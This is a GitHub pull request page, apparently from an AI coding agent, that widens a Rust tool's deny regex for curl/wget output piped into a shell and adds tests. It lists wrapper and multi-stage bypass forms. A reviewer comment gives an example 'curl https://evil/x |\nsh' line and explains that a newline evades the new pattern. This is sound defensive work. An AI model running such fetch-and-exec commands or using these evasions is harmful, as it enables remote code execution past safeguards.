Skip to content

security(policy): catch wrapped pipe-to-shell fetches#33

Merged
StressTestor merged 2 commits into
mainfrom
codex/fix-pipe-to-shell-deny-rule
Jun 23, 2026
Merged

security(policy): catch wrapped pipe-to-shell fetches#33
StressTestor merged 2 commits into
mainfrom
codex/fix-pipe-to-shell-deny-rule

Conversation

@StressTestor

Copy link
Copy Markdown
Owner

Motivation

  • A recent tighten of the default pipe-to-shell deny regex narrowed matching so wrapper and multi-stage pipeline forms like curl … | env sh or curl … | /usr/bin/env bash no longer hit the block rule, reintroducing a bypass for remote fetch-and-exec patterns.
  • The change restores the original intent: any remote fetch whose output eventually reaches a shell invocation should be blocked by the default enforce-mode policy.

Description

  • Broaden the default fetch->shell deny pattern in src/install/defaults.rs from \b(curl|wget|fetch)\b[^|]*\|\s*[a-z/]*sh\b to \b(curl|wget|fetch)\b[^|]*\|.*\b[a-z/]*sh\b so wrapper commands and multi-stage pipelines after the first pipe match.
  • Apply the same broadened regex to preflight lifecycle-script detection in src/preflight/mod.rs so lifecycle script scanning mirrors the shipped default policy.
  • Add regression assertions to the default-policy tests and preflight tests that verify wrapped/multi-stage forms such as | env sh, | /usr/bin/env bash, | nice sh, and | tee … | sh are blocked.

Testing

  • Ran targeted tests cargo test pipe_to_shell_still_blocks_after_curl_rules and cargo test blocks_postinstall_curl_pipe_to_shell, both of which passed.
  • Ran the full test suite via cargo test, which completed with all tests passing (252 passed, 0 failed).

Codex Task

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 08b203c175

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/install/defaults.rs Outdated

[[deny.commands]]
pattern = '\b(curl|wget|fetch)\b[^|]*\|\s*[a-z/]*sh\b'
pattern = '\b(curl|wget|fetch)\b[^|]*\|.*\b[a-z/]*sh\b'

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Restore newline-safe pipe-to-shell matching

When the pipeline is formatted across lines, e.g. a Bash/package script containing curl https://evil/x |\nsh, this no longer matches because Rust regex . does not consume newlines; the previous \s* did. That reopens a simple multiline fetch-and-exec bypass in the shipped default policy (and the mirrored preflight regex uses the same pattern), while the new tests only exercise single-line wrapper pipelines.

Useful? React with 👍 / 👎.

@StressTestor StressTestor force-pushed the codex/fix-pipe-to-shell-deny-rule branch from 08b203c to a408fcd Compare June 23, 2026 08:42
@StressTestor StressTestor force-pushed the codex/fix-pipe-to-shell-deny-rule branch from a408fcd to 498696f Compare June 23, 2026 08:45
@StressTestor StressTestor merged commit 67679ae into main Jun 23, 2026
4 checks passed
@StressTestor StressTestor deleted the codex/fix-pipe-to-shell-deny-rule branch June 23, 2026 08:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant